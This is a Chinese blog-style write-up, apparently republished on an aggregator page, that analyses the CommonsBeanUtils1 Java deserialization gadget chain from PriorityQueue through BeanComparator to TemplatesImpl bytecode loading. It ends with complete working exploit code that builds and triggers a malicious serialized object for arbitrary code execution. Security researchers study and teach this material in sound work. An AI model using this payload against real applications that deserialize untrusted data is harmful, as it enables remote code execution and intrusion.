最新要闻

广告

手机

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

家电

CommonsBeanUtils1反序列化分析

来源:博客园

cb链子

0x01 CommonsBeanUtils介绍

Apache Commons 工具集下除了collections以外还有BeanUtils,它主要用于操控JavaBean


(相关资料图)

  • 以 Utils 结尾,一般这都是一个工具类/集

先说说 JavaBean 的这个概念

这里指的就是实体类的 get,set 方法,其实在 IDEA 当中用 Lombok 插件就可以替换 JavaBean。

CommonsBeanUtils 这个包也可以操作 JavaBean,举例如下:

比如一个Baby类是一个简单的JavaBean的类,那么它一定满足如下几个要求:

  • JavaBean 类必须是一个公共类,并将其访问属性设置为 public ,如: public class Baby
  • JavaBean 类必须有一个空的构造函数:类中必须有一个不带参数的公用构造器,例如:public Baby()
  • 一个javaBean类不应有公共实例变量,类变量都为private ,如: private String name;
  • javaBean属性是具有getter/setter方法的成员变量。也可以只提供getter方法,这样的属性叫只读属性;也可以只提供setter方法,这样的属性叫只写属性; 如果属性类型为boolean类型,那么读方法的格式可以是get或is。例如名为abc的boolean类型的属性,它的读方法可以是getAbc(),也可以是isAbc();

一般JavaBean属性以小写字母开头,驼峰命名格式,相应的 getter/setter 方法是 get/set 接上首字母大写的属性名。例如:属性名为userName,其对应的getter/setter 方法是 getUserName/setUserName。

举个例子:

public class Baby {    private String name = "Drunkbaby"; public String getName(){        return name; }    public void setName (String name) {        this.name = name; }}

这里有两个简单的getter和setter方法,如果用@Lombok的注解也是同样的,使用@Lombok的注解不需要写 getter setter。

Commons-BeanUtils 中提供了一个静态方法PropertyUtils.getProperty,让使用者可以直接调用任意 JavaBean 的 getter 方法,示例如下:

import org.apache.commons.beanutils.PropertyUtils;public class babytest {    public static void main(String[] args) throws Exception{        System.out.println(PropertyUtils.getProperty(new Baby(),"name"));    }}

0x02 CommonsBeanUtils1 链子分析

上我们的经典CC图,并且画出非cc链子的部分

1.链子尾部

链子尾部肯定是要通过TemplatesImpl字节码的方式进行攻击的,从上面图片我们可以看出来

回顾一下TemplatesImpl的过程

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()

链子的最开头有一个TemplatesImpl.getOutputProperties(),正好她是满足getter方法的,并且作用域是public,所以我们是可以通过CommonsBeanUtils总的PropertyUtils.getProperty()方式获取

2.链子中间

所以链子进行到了PropertyUtils.getProperty(),我们就需要去找哪个地方调用了同名的getProperty()方法呗,反正最后要走到readObject里面

这里我们通过find usages找到了一个BeanComparator类,他的compare方法里面如果传入property不为空,则对两个对象进行“取值比较”吧,理解的话就是比较器会看俩人有没有指定比较的东西,没有就直接比较对象,有的话就取对应的东西比较

3.链子开头

如果对cc比较熟悉的话,或者直接看下面的这个图 我们可以发现我们之前在cc2、cc4的部分有过关于comparator同名函数然后往后走的链子,当时用的是TransformingComparator当然这个是Commons Collections和Commons Collections4都有的,当时我们用的是四的,那么这里的话我们是不是可以考虑把TransformingComparator替换成BeanComparator然后街上前面的就成了

0x03 EXP编写

首先给出一个调用链

  • PriorityQueue.readObject()
  • PriorityQueue.heapify()
  • PriorityQueue.siftDown()
  • PriorityQueue.siftDown()
  • PriorityQueue.siftDownUsingComparator()
  • BeanComparator.compare()
  • PropertyUtils.getProperty()
  • TemplatesImpl.getOutputProperties()
  • TemplatesImpl.newTransformer()
  • TemplatesImpl.getTransletInstance()
  • TemplatesImpl.defineTransletClasses()
  • TransletClassLoader#defineClass()

EXP:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.comparators.TransformingComparator;import org.apache.commons.collections.functors.ConstantTransformer;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class cbtest1 {    public static void main(String[] args) throws Exception {//TemplatesImpl动态加载字节码        byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class"));        TemplatesImpl obj = new TemplatesImpl();        setFieldValue(obj, "_bytecodes", new byte[][] {code});        setFieldValue(obj, "_name", "wahaha");        final BeanComparator comparator = new BeanComparator("outputProperties",new AttrCompare());        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);        priorityQueue.add(obj);        priorityQueue.add(2);        setFieldValue(priorityQueue,"comparator",comparator);        serialize(priorityQueue);        unserialize("serzsd.bin");    }    public static void serialize(Object obj) throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin"));        oos.writeObject(obj);    }    //反序列化数据    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));        Object obj = ois.readObject();        return obj;    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

运行结果:

参考资料:

  • https://www.freebuf.com/articles/web/339186.html
  • https://www.cnblogs.com/sunTin/p/7172932.html

关键词: